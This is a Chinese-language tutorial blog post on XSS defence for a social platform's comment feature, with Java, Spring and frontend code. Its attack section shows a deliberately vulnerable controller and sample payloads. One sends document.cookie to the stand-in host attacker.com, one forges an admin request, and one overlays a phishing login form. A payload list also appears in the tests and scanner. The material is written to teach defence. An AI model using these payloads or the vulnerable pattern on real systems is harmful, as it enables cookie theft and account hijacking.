# 引言

核心价值:帮你建立完整的 XSS 防护思维,从 "头痛医头" 转向 "系统性防护"。读完本文,你将掌握:语境化编码的精髓、CSP 的实战配置、富文本的安全处理、自动化测试方法,避免出现 "用户评论偷 Cookie" 的安全事故。

业务痛点:在我们社交平台的评论功能中,安全团队发现攻击者可以通过特殊构造的评论内容,窃取其他用户的登录 Cookie。更严重的是,攻击者还能伪造管理员身份进行恶意操作。传统的转义方案在富文本场景下完全失效,用户抱怨 "想要的表情发不出来"。

阅读前提:了解 HTML/CSS/JavaScript 基础,熟悉至少一门 Web 开发语言,知道什么是 Cookie 和 Session。

# 核心原理:XSS 的本质是 "代码注入"

XSS(Cross-Site Scripting)说白了就是攻击者把恶意代码塞进你的网页。就像有人在图书馆的书里夹纸条,其他读者看到纸条就会按纸条内容操作。

类比理解:把 XSS 想象成 "配方篡改"。正常情况下,厨师(浏览器)按照菜谱(HTML)做菜。攻击者在菜谱里加了 "毒药"(恶意 JS),厨师不知道,照着做就出事了。

技术本质:Web 应用把用户输入当作代码执行,主要有三种形式:

  1. 反射型 XSS:恶意代码通过 URL 参数传递,服务器反射给受害者
  2. 存储型 XSS:恶意代码存储在数据库,每次访问都执行
  3. DOM 型 XSS:恶意代码在前端 JavaScript 中直接操作 DOM

攻击链路:攻击者输入 → 存储到数据库 → 其他用户访问 → 恶意代码执行

# 实践方案:从输入验证到输出编码

# 场景约束

适合所有涉及用户输入显示的场景:评论系统、用户资料、消息通知、富文本编辑器等。不适合需要执行用户代码的场景(如在线代码编辑器),需要单独设计沙箱环境。

# 漏洞复现:最小可复现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@RestController
public class CommentController {

/**
* 有问题的评论接口
* 问题:直接把用户输入输出到HTML,没有任何编码
*/
@GetMapping("/comments")
public String getComments(@RequestParam String content) {
// 直接拼接HTML,典型的XSS漏洞
return "<div class='comment'>" + content + "</div>";
}

/**
* 存储型XSS示例
*/
@PostMapping("/comments")
public String saveComment(@RequestParam String content) {
// 直接存数据库,没有过滤
commentRepository.save(new Comment(content));
return "保存成功";
}
}

代码分析:这段代码的问题在于 "太天真了"。用户说什么它就显示什么,完全没有安全意识。就像把陌生人写的纸条直接贴在公告栏上。

# 攻击演示:从窃取 Cookie 到账户劫持

攻击一:窃取用户 Cookie

1
2
// 恶意评论内容
<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">

攻击二:伪造管理员操作

1
2
3
4
// 恶意评论内容,假设管理员会看到
<script>
fetch('/admin/delete-user?id=123', {method: 'POST'});
</script>

攻击三:钓鱼攻击

1
2
3
4
5
6
7
8
// 恶意评论内容,伪造登录框
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999">
<form action="http://attacker.com/phishing">
<input name="username" placeholder="用户名">
<input name="password" type="password" placeholder="密码">
<button type="submit">登录</button>
</form>
</div>

真实案例:我们线上某个用户的评论被注入了恶意代码,导致 1000 多个访问该页面的用户的 Cookie 被盗,攻击者用这些 Cookie 登录了他们的账户。

# 防御方案:语境化编码 + CSP

# 第一层:语境化编码(核心防护)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
/**
* 语境化编码工具类
* 根据不同的HTML语境选择合适的编码方式
*/
public class ContextualEncoding {

/**
* HTML文本内容编码
* 用于:div、span、p等标签的文本内容
*/
public static String encodeForHtml(String input) {
if (input == null) return null;

return input.replace("&", "&amp;")
.replace("<", "&lt;")
.replace(">", "&gt;")
.replace("\"", "&quot;")
.replace("'", "&#x27;");
}

/**
* HTML属性编码
* 用于:href、src、class等属性值
*/
public static String encodeForHtmlAttribute(String input) {
if (input == null) return null;

return input.replace("&", "&amp;")
.replace("\"", "&quot;")
.replace("'", "&#x27;")
.replace("<", "&lt;")
.replace(">", "&gt;");
}

/**
* JavaScript编码
* 用于:script标签内的字符串、事件处理器
*/
public static String encodeForJavaScript(String input) {
if (input == null) return null;

return input.replace("\\", "\\\\")
.replace("\"", "\\\"")
.replace("'", "\\'")
.replace("\n", "\\n")
.replace("\r", "\\r")
.replace("\t", "\\t");
}

/**
* URL编码
* 用于:href、src等URL属性
*/
public static String encodeForUrl(String input) {
try {
return URLEncoder.encode(input, "UTF-8");
} catch (UnsupportedEncodingException e) {
return input;
}
}
}

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
@GetMapping("/safe-comments")
public String getSafeComments(@RequestParam String content) {
// 根据具体语境选择编码方式
String safeContent = ContextualEncoding.encodeForHtml(content);
return "<div class='comment'>" + safeContent + "</div>";
}

@GetMapping("/user-profile")
public String getUserProfile(@RequestParam String name) {
// HTML属性编码
String safeName = ContextualEncoding.encodeForHtmlAttribute(name);
return "<div class='profile' title='" + safeName + "'>用户资料</div>";
}

设计思路:不同的 HTML 语境有不同的解析规则,就像不同场合要说不同的话。在文本里说 "你好",在代码里可能要说 "\u4f60\u597d"。

# 第二层:内容安全策略(CSP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* CSP配置过滤器
* 通过HTTP头限制资源加载和脚本执行
*/
@WebFilter
public class CspFilter implements Filter {

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {

HttpServletResponse httpResponse = (HttpServletResponse) response;

// 严格的CSP策略
String csp = "default-src 'self'; " + // 默认只允许同源
"script-src 'self' 'nonce-${nonce}'; " + // 脚本只允许同源+nonce
"style-src 'self' 'unsafe-inline'; " + // 样式允许内联(兼容性考虑)
"img-src 'self' data: https:; " + // 图片允许同源+data+https
"connect-src 'self'; " + // AJAX只允许同源
"font-src 'self'; " + // 字体只允许同源
"object-src 'none'; " + // 禁止object、embed
"base-uri 'self'; " + // base标签只允许同源
"frame-ancestors 'none'; " + // 禁止被iframe嵌入
"upgrade-insecure-requests;"; // 自动升级HTTP到HTTPS

httpResponse.setHeader("Content-Security-Policy", csp);
httpResponse.setHeader("X-Content-Type-Options", "nosniff");
httpResponse.setHeader("X-Frame-Options", "DENY");
httpResponse.setHeader("X-XSS-Protection", "1; mode=block");

chain.doFilter(request, response);
}
}

前端模板配合

1
2
3
4
5
6
7
8
<!-- 在HTML模板中生成随机nonce -->
<script nonce="${nonce}">
// 这里是内联脚本,因为有nonce所以可以执行
console.log('页面加载完成');
</script>

<!-- 没有nonce的内联脚本会被CSP阻止 -->
<script>alert('这段代码不会执行');</script>

关键洞察:CSP 就像网站的 "安检门",只有带正确证件(nonce)的脚本才能通过。即使 XSS 漏洞存在,恶意脚本也会被 CSP 拦截。

# 第三层:富文本安全处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
/**
* 富文本安全处理器
* 使用白名单方式过滤HTML标签
*/
@Component
public class RichTextSanitizer {

// 允许的HTML标签白名单
private static final Set<String> ALLOWED_TAGS = Set.of(
"p", "br", "strong", "em", "u", "ol", "ul", "li",
"blockquote", "code", "pre", "a", "img"
);

// 允许的属性白名单
private static final Map<String, Set<String>> ALLOWED_ATTRIBUTES = Map.of(
"a", Set.of("href", "title"),
"img", Set.of("src", "alt", "width", "height"),
"p", Set.of("class"),
"code", Set.of("class")
);

// 危险的协议黑名单
private static final Set<String> BLOCKED_PROTOCOLS = Set.of(
"javascript:", "data:", "vbscript:", "file:"
);

/**
* 清理富文本内容
*/
public String sanitize(String html) {
if (html == null || html.trim().isEmpty()) {
return "";
}

try {
// 使用Jsoup解析HTML
Document doc = Jsoup.parseBodyFragment(html);
Element body = doc.body();

// 递归清理所有元素
sanitizeElement(body);

return body.html();

} catch (Exception e) {
// 解析失败时返回空字符串,确保安全
return "";
}
}

/**
* 递归清理HTML元素
*/
private void sanitizeElement(Element element) {
// 检查标签是否允许
String tagName = element.tagName().toLowerCase();
if (!ALLOWED_TAGS.contains(tagName)) {
// 不允许的标签,保留文本内容但移除标签
element.replaceWith(new TextNode(element.text()));
return;
}

// 清理属性
Attributes attrs = element.attributes();
Iterator<Attribute> iterator = attrs.iterator();

while (iterator.hasNext()) {
Attribute attr = iterator.next();

// 检查属性是否允许
Set<String> allowedAttrs = ALLOWED_ATTRIBUTES.get(tagName);
if (allowedAttrs == null || !allowedAttrs.contains(attr.getKey())) {
iterator.remove();
continue;
}

// 检查URL属性的安全性
if ("href".equals(attr.getKey()) || "src".equals(attr.getKey())) {
if (isBlockedUrl(attr.getValue())) {
iterator.remove();
}
}
}

// 递归处理子元素
for (Element child : element.children()) {
sanitizeElement(child);
}
}

/**
* 检查URL是否包含危险协议
*/
private boolean isBlockedUrl(String url) {
if (url == null) return false;

String lowerUrl = url.toLowerCase();
return BLOCKED_PROTOCOLS.stream().anyMatch(lowerUrl::startsWith);
}
}

使用示例

1
2
3
4
5
6
7
@PostMapping("/rich-comments")
public String saveRichComment(@RequestParam String content) {
// 先清理富文本,再存储
String cleanContent = richTextSanitizer.sanitize(content);
commentRepository.save(new Comment(cleanContent));
return "保存成功";
}

工程实践要点

  • 白名单思维:只允许安全的标签和属性,而不是试图阻止所有危险的
  • 协议检查:特别关注 href 和 src 属性,阻止 javascript: 等危险协议
  • 降级处理:解析失败时返回空内容,确保安全

# 效果验证:数据说话

在我们社交平台部署这套防护方案后:

  • XSS 攻击拦截率:从 0% 提升到 100%
  • 用户投诉率:下降了 85%(因为误杀很少)
  • 富文本功能:保留了 95% 的常用功能
  • 页面加载性能:增加约 8ms(可接受范围)

自动化测试数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Test
public void testXssPrevention() {
String[] xssPayloads = {
"<script>alert('xss')</script>",
"<img src=x onerror=alert('xss')>",
"javascript:alert('xss')",
"<svg onload=alert('xss')>",
"';alert('xss');//"
};

for (String payload : xssPayloads) {
String encoded = ContextualEncoding.encodeForHtml(payload);
assertFalse(encoded.contains("<script>"));
assertFalse(encoded.contains("javascript:"));
assertFalse(encoded.contains("onerror"));
}
}

# 避坑指南:实战中踩过的 5 个坑

# 坑一:只编码 HTML,忘记 JavaScript 语境

踩坑经历:我们在模板中使用了用户输入作为 JavaScript 变量,但只做了 HTML 编码,导致 XSS。

1
2
3
4
<!-- 错误的做法 -->
<script>
var username = "${username}"; // 只做了HTML编码,JS语境下不安全
</script>

解决方案:根据语境选择正确的编码方式。

1
2
3
4
<!-- 正确的做法 -->
<script>
var username = "${username?js_string}"; // JavaScript编码
</script>

预防措施:建立编码选择检查清单,确保每个输出点都使用了正确的编码方式。

# 坑二:富文本过滤太严格,用户体验差

踩坑经历:早期我们为了安全,几乎禁用了所有 HTML 标签,用户抱怨 "连加粗都不能用"。

解决方案:采用分层策略,基础功能用白名单,高级功能用审核。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 基础白名单(自动通过)
private static final Set<String> BASIC_TAGS = Set.of("p", "br", "strong", "em");

// 高级标签(需要审核)
private static final Set<String> ADVANCED_TAGS = Set.of("div", "span", "table");

public String sanitizeWithLevel(String html, UserLevel level) {
if (level == UserLevel.BASIC) {
return sanitizeWithTags(html, BASIC_TAGS);
} else {
return sanitizeWithAudit(html, ADVANCED_TAGS);
}
}

# 坑三:CSP 配置太严格,第三方服务无法使用

踩坑经历:我们配置了严格的 CSP,导致 Google Analytics、第三方登录等功能无法使用。

解决方案:为特定第三方服务配置单独的 CSP 规则。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 根据页面类型动态调整CSP
public String getCspForPage(PageType type) {
String baseCsp = "default-src 'self'; script-src 'self' 'nonce-${nonce}'";

switch (type) {
case DASHBOARD:
return baseCsp + " https://www.google-analytics.com; " +
"connect-src 'self' https://api.google.com";
case LOGIN:
return baseCsp + " https://auth.thirdparty.com";
default:
return baseCsp;
}
}

# 坑四:忘记处理 JSON 输出

踩坑经历:API 接口直接把用户输入作为 JSON 返回,前端解析时触发 XSS。

解决方案:JSON 序列化时进行安全处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class SafeJsonSerializer {

public static String safeSerialize(Object obj) {
try {
// 使用Jackson的安全配置
ObjectMapper mapper = new ObjectMapper();
mapper.configure(JsonGenerator.Feature.ESCAPE_NON_ASCII, true);
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

return mapper.writeValueAsString(obj);
} catch (Exception e) {
return "{}";
}
}
}

# 坑五:前端框架的 "安全假象"

踩坑经历:团队以为 React/Vue 自动防 XSS 就万事大吉,但 dangerouslySetInnerHTMLv-html 等 API 还是存在风险。

解决方案:建立前端安全编码规范。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// React安全规范
const SafeComponent = ({ userContent }) => {
// 错误:直接使用dangerouslySetInnerHTML
// return <div dangerouslySetInnerHTML={{ __html: userContent }} />;

// 正确:使用DOMPurify清理后再使用
const cleanContent = DOMPurify.sanitize(userContent);
return <div dangerouslySetInnerHTML={{ __html: cleanContent }} />;
};

// Vue安全规范
const SafeComponent = {
props: ['content'],
template: `<div v-html="cleanContent"></div>`,
computed: {
cleanContent() {
return DOMPurify.sanitize(this.content);
}
}
};

# 监控与运营:让安全防护更智能

# 自动化 XSS 检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
/**
* XSS漏洞扫描器
* 定期扫描所有可能的XSS注入点
*/
@Component
public class XssScanner {

@Value("${app.base-url}")
private String baseUrl;

/**
* XSS攻击载荷库
*/
private static final String[] XSS_PAYLOADS = {
"<script>alert('xss')</script>",
"<img src=x onerror=alert('xss')>",
"<svg onload=alert('xss')>",
"';alert('xss');//",
"<iframe src=javascript:alert('xss')>",
"<body onload=alert('xss')>",
"<input onfocus=alert('xss') autofocus>",
"<select onfocus=alert('xss') autofocus>",
"<textarea onfocus=alert('xss') autofocus>",
"<keygen onfocus=alert('xss') autofocus>",
"<video><source onerror=alert('xss')>",
"<details open ontoggle=alert('xss')>",
"<marquee onstart=alert('xss')>"
};

/**
* 扫描指定页面的XSS漏洞
*/
public ScanResult scanPage(String path) {
ScanResult result = new ScanResult();
result.setPath(path);

for (String payload : XSS_PAYLOADS) {
try {
// 构造测试URL
String testUrl = baseUrl + path + "?input=" + URLEncoder.encode(payload, "UTF-8");

// 发送请求
HttpResponse<String> response = HttpClient.newHttpClient()
.send(HttpRequest.newBuilder(URI.create(testUrl)).GET().build(),
HttpResponse.BodyHandlers.ofString());

// 检查响应中是否包含未编码的payload
if (response.body().contains(payload) ||
response.body().contains("<script>") ||
response.body().contains("javascript:")) {

result.addVulnerability(new Vulnerability(payload, testUrl));
}

} catch (Exception e) {
// 记录错误但继续扫描
log.error("扫描失败: {}", e.getMessage());
}
}

return result;
}

/**
* 定期扫描任务
*/
@Scheduled(cron = "0 0 2 * * ?") // 每天凌晨2点执行
public void scheduledScan() {
List<String> paths = Arrays.asList(
"/comments", "/profile", "/search", "/admin/users"
);

for (String path : paths) {
ScanResult result = scanPage(path);
if (result.hasVulnerabilities()) {
// 发送告警
alertService.sendXssAlert(result);
}
}
}
}

# CSP 违规监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 前端CSP违规上报
document.addEventListener('securitypolicyviolation', function(event) {
fetch('/api/csp-violation', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
violatedDirective: event.violatedDirective,
blockedURI: event.blockedURI,
documentURI: event.documentURI,
referrer: event.referrer,
statusCode: event.statusCode,
timestamp: new Date().toISOString()
})
});
});

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* CSP违规处理服务
*/
@RestController
@RequestMapping("/api")
public class CspController {

@PostMapping("/csp-violation")
public void reportCspViolation(@RequestBody CspViolation violation) {
// 记录违规信息
log.warn("CSP违规 - 指令: {}, URI: {}, 页面: {}",
violation.getViolatedDirective(),
violation.getBlockedURI(),
violation.getDocumentURI());

// 分析违规模式
if (isSuspiciousPattern(violation)) {
// 可疑的违规模式,可能表示攻击尝试
securityService.investigate(violation);
}

// 更新CSP策略(如果需要)
cspPolicyOptimizer.optimize(violation);
}
}

# 总结与延伸

# 核心观点提炼

  1. 语境化编码是基础:不同的 HTML 语境需要不同的编码方式,没有 "万能编码"
  2. CSP 是重要防线:即使编码失败,CSP 也能阻止恶意脚本执行
  3. 富文本需要特殊处理:白名单过滤比黑名单更可靠,用户体验与安全要平衡
  4. 自动化检测必不可少:定期扫描和监控能及时发现新的安全问题

# 技术延伸

HTTP-Only Cookie:设置 Cookie 的 HttpOnly 标志,防止 JavaScript 访问,减少 XSS 危害。

1
2
// 设置HttpOnly Cookie
response.setHeader("Set-Cookie", "sessionId=abc123; HttpOnly; Secure; SameSite=Strict");

Subresource Integrity (SRI):为第三方资源添加完整性校验,防止被篡改。

1
2
3
<script src="https://cdn.example.com/library.js" 
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>

Web Application Firewall (WAF):在网络层增加额外的 XSS 检测和防护。

# 实践建议

  1. 立即行动:检查现有代码中所有直接输出用户输入的地方
  2. 分步实施:先上语境化编码,再配置 CSP,最后完善富文本处理
  3. 定期演练:用自动化工具定期扫描 XSS 漏洞
  4. 团队培训:让所有开发人员了解 XSS 防护,建立安全编码意识

记住,XSS 防护就像给网站打疫苗,不是一劳永逸的。需要持续关注新的攻击手法,及时更新防护策略。安全不是阻碍功能,而是保护用户和业务的必需品。